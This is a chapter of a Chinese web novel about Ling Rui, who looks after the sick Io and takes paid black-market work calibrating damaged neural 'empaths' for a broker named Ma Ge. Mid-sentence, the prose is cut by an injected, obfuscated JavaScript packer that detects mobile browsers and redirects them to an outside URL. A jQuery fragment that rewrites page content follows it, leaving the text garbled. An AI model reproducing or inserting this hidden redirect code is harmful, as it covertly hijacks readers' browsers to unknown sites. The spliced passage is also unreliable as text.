她听着伊奥的呼吸声。
伊奥入睡很快,这是她少数不需要药物辅助就能做到的事,但凌芮知道,伊奥的好日子正在变得越来越少,上次腿麻过了膝盖,医生说等麻木蔓延到脊柱就彻底没法站了。
而她一天大部分时间不在家,伊奥一个人在这间地下室里,盯着窗台上的野花,一本书翻到最后一页,再翻回第一页。
半夜的时候,凌芮悄悄坐起来。
她赤脚踩在冰凉的地板上,走到床边。伊奥侧身睡着,头发散在枕头上,呼吸很轻。
凌芮弯下腰,伸手轻轻探了探她的额头。
没有发烧。
她把手指移到伊奥的鼻子前面,感受了一下,温热的。
活着。
她把手收回来,在床边又站了一会儿。
伊奥的嘴唇颜色正常,上次腿部麻木停留在膝盖,今天没有报告新的症状,这些数据足够让她今晚安心,但不够让她安心到明天。
她回到沙发上躺下,把被子拉到胸口,天花板上的裂缝还在,从墙角爬到中央,像一条走不完的路。
她盯着它,脑子里却停不下来。
伊奥今天看了多久的书?有没有跟人说过话?上次她去楼顶晒太阳是什么时候?
她一个人闷在这间地下室里,从早到晚,只有一个搪瓷缸和一株野花陪着她,她需要更多的空气,更多的人,而不是药和病例单的东西。
凌芮翻了个身,把脸埋进枕头里。
明天去找玛格的时候,也许可以问问有没有什么活是能在住处附近做的,或者问问有没有人能帮忙陪着伊奥。
她以前觉得这种事是多此一举,现在开始觉得也许不是。
第二天.
旧采集工厂三号车间在黑市最边缘的角落里,和凌芮上次路过时没什么两样,红砖外墙被几十年的酸雨腐蚀得坑坑洼洼,铁架招牌锈得只剩最后一个字母歪歪扭扭地挂着。
车间内部的采集设备早就被委员会拆走,留下了空荡荡的厂房和满地的碎玻璃,但地下还有一层,是当年用来储存神经连接液的恒温仓库。
玛格把它改成了校准室,隔音还隐蔽,入口藏在废弃货运电梯的后面。
凌芮在巷口见到了接她的人。
不是上次送钱的那个瘦高个,换了一个更年轻的,二十出头,脖子上纹着一道褪色的编码。
他没说话,只是点了点头,转身带她穿过巷子,绕过一堆废弃的采集头盔,推开一扇生锈的铁门,引她走下楼梯。
地下仓库比地上干净得多,天花板上的灯管换了新的,发着冷白色的光,墙边摆着几把椅子,一张铁架床改的校准台,旁边是便携式神经监测仪。
不是正规型号,是黑市自己组装的,外壳上还贴着不知道从哪里拆下来的警告标签。
仓库里已经有两个人等着,一个靠在墙边抽烟的中年男人,一个坐在椅子上不停抖腿的年轻女人。
“就这两个?”凌芮问领路的年轻人。
“今天两个,玛格说你先试试。”
“行。”
凌芮把外套脱了搭在椅背上,走到那个年轻女人面前蹲下来,女人大概二十出头,头发用一根旧皮筋胡乱扎着,眼底发青,嘴唇干裂。
她的手搁在膝盖上,手指在抖,是觉醒时神经被冲坏的典型症状,频率很快,还带着某种电流感。
“名字不用说。”凌芮把手指搭在她的腕关节内侧,“怎么觉醒的?”
“去年冬天。”女人的声音沙哑,“忽然就开始能感觉到别人的情绪了,一开始只是一点点,后来越来越多,我去黑市诊所开了稳定剂,吃了半年,没什么用。”
“稳定剂只管化学平衡,不管神经结构。”凌芮说着把手指往上移了一点,找到她前臂内侧的另一个脉点,用两根手指轻轻按住,“你在觉醒之前,有没有受过伤,头部或者脊椎。”
女人愣了一下,“从工厂楼梯上摔过一次,磕到了后脑勺。”
“那可能是诱因,你的觉醒不是自然触发的,是外伤诱发神经密度突增,突增太快,神经来不及适应,所以就乱了。”凌芮松开手指,站起来绕到她身后,把手掌贴在她的后颈上。
掌心传来的神经波动像一团被搅乱的毛线球,每根线都在往不同方向上扯。
“我现在试一下帮你把几个主要的异常通道校准,会有点奇怪的感觉。”
“你怎么知道怎么做?”女人问。
凌芮闭上眼睛,没有回答。
她不是第一次做这种事,五年来,她在黑市帮过的人数都数不清,酒吧里失控的客人,巷子里突然崩溃的流浪感潮者,隔壁楼上那个被工厂辞退后每晚做噩梦的采集工。
每一次都只是顺便,但今天是第一次有人付钱。
这个念头在她脑子里闪了一下,然后被她压下去。
付钱和不付钱,做法是一样的。
中年男人比年轻女人更麻烦,他觉醒的时间更早,神经损伤积累了好几年,像一条被反复折叠的铁丝,表面上还连着,内部已经全是裂痕。
凌芮花了比预期更长的时间才找到他的主神经通道,中间有几次他疼得哼出声。
做完的时候她的后背被汗水浸湿了一大片,她把外套披上,靠在椅背上喘了几口气。
“好了。”她说。
中年男人活动了一下手指,手指不再抖了,他站起来走了几步,又坐下,表情是那种不敢相信又不敢高兴的复杂,“真的好了?就这么一下?就好了?”
“不是好了,是稳定了,你得定期做,多久做一次取决于你平时用不用能力,用得越多,神经磨损越快,我建议一个月一次,如果你自己坚持锻炼神经稳定性的话,可能能撑更久。”
凌芮转头看向那个年轻女人,“你也是,这个不是根治,根治要重新评估你们的神经结构,然后做针对性的修复方案,那个我目前做不了。”
玛格从楼梯口走下来。
她走路不快,胖墩墩的身体在冷白灯光下投下一团灰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587130|205333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
色的影子。
她走到校准台旁边,看了看那两个感潮者,又看了看靠在椅背上累得不想动的凌芮,脸上的笑容更加和善。
“他们俩稳定了。”玛格说。
“暂时。”
“你用的方式和别人不一样,以前我请过一个校准师,是个被委员会除名的低阶觉醒者,每次校准之前要先用药把客户的神经压到最低,再手动调整,效率低,失败率也高,而你的手法,委员会标准流程里可没有。”
“委员会的标准流程是给觉醒者设计的。”
“你觉醒失败之后一直在做这个?”
凌芮抬起头看她,她的外套还搭在肩上,脸上还带着刚干完一场体力活的潮红,但她的嘴角已经恢复到了平时的弧度,挂着那种“我知道你在套我话”的笑容。
“做多了就知道什么好用,什么不好用。”
玛格从口袋里掏出一个信封,放在校准台旁边,推到凌芮面前。
信封是棕色的,鼓鼓囊囊的,比她预想的厚,“你的那一份,按谈好的比例。”
凌芮接过信封,没有当面数,她把信封折了一下塞进口袋,靠回椅背,口袋沉甸甸的,贴着大腿外侧,和之前那种轻飘飘的重量完全不同。
她在心里把这叠钱换算成伊奥的药,这一单够买三盒,还能剩一点。
这个念头让她心情变得很好,好到开始有闲心跟玛格闲聊。
“你刚才说我手法不一样,是夸我还是想套我话。”
“都有,你确实比之前那几个强,你的手法很野,但很有效,自己摸索出来的?”玛格在旁边的椅子上坐下来,她今天还是穿着那件灰扑扑的外套,但靠近了能闻到一股淡淡的樟脑味,是旧衣服在柜子里放久了的气味。“不过我有个问题,你有没有试过双向校准。”
凌芮有些疑惑,“双向校准是什么。”
“单向校准是帮人稳神经,双向校准是你进入对方的神经波动之后,不只帮他稳定,还让他能短暂地反过来感知到你,这种技术在委员会的高级代偿者训练手册里有记载,委员会把它列在高级干预方案里,但对校准师的神经结构有要求,必须是先天具备双向共感潜力的人。”
凌芮没有马上接话。
她知道双向共感,母亲在埃瑟家做代偿者时见过一次,那是一个高级代偿者和壳中人之间建立的深度连接,代偿者不只是输出情绪,还能接收到壳中人的神经反馈。
这种技术对代偿者的神经结构有特殊要求,不是所有感潮者都能做到,至于委员会把它列为高级干预方案,她倒是第一次听说。
“那不是一般人能做的东西,双向共感需要校准师和被校准者之间有极高的神经匹配度,不是随便一个感潮者就可以,而且。”她停了一下,“我没试过。”
“那你想不想试,我手底下有一些情况更复杂的感潮者,普通校准只能管几天,几天之后又复发,如果你能帮他们完全消除,报酬可以翻倍。”玛格说这些话的时候声音还是不急不缓。